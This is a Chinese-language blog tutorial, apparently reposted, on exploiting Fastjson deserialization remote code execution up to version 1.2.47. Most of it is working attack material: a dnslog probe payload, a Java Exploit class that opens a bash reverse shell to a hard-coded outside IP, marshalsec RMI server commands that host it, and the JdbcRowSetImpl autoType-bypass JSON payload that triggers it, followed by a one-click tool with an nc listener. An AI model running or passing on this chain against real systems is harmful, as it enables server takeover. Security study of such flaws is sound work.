当前位置:   article > 正文

Fastjson漏洞

fastjson漏洞

Fastjson概述
Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到JavaBean。

➢历史漏洞
Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞

➢ Fastjson1.2.47反序列化漏洞
1.2.24:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
1.2.47:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

➢ Fastjson寻找
fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了fastjson
在这里插入图片描述
➢ Json认识

{
"name":"smith".
"age":28,
"sex":"男"
"school":{
"sname":"南京大学".
"address":"南京市鼓楼区汉口路22号"
}
}
{"name":"smith","empno":1001,"job":"clerck","sal":9000.00,"comm":5000.00}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

➢ Fastjson漏洞发现(利用 dnslog)

{"name":{"@type":"java.net.InetAddress","val":"test.sr3uwk.ceye.io"}}
  • 1

在这里插入图片描述
➢ Fastjson的利用(编译)
新建Exploit.java
内容为:https://cowtransfer.com/s/7841d5d6121747
然后cmd下执行:javac Exploit.java,就会生成一个class文件

//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i &gt;&
/dev/tcp/139.9.198.30/6666 0&gt;&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

➢ Fastjson的利用
把编译好的class文件传到外网系统中,可以访问验证一下是否开启,是否把class文
件放进入,
项目地址:https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
“http://139.9.198.30/2/#Exploit” 1234

在这里插入图片描述
➢ Fastjson的利用
执行攻击payload:

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"
b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://139.9.1
98.30:1234/Exploit","autoCommit":true}}
  • 1
  • 2
  • 3

➢ Fastjson的利用(反弹 shell)在这里插入图片描述
在这里插入图片描述
➢ Fastjson的利用(简捷)
项目地址:
https://github.com/Betsy0/fastjson_rce_tool

➢ Fastjson的利用(简捷)
java -cp fastjson_tool.jar fastjson.HRMIServer 139.9.198.30 1234 "要执行的命
令“
编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html在这里插入图片描述
➢ Fastjson的利用(简捷)
生成payload在这里插入图片描述
➢ Fastjson的利用(简捷)
Nc监听端口,并将生成的payload执行在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/笔触狂放9/article/detail/870067
推荐阅读
相关标签
  

闽ICP备14008679号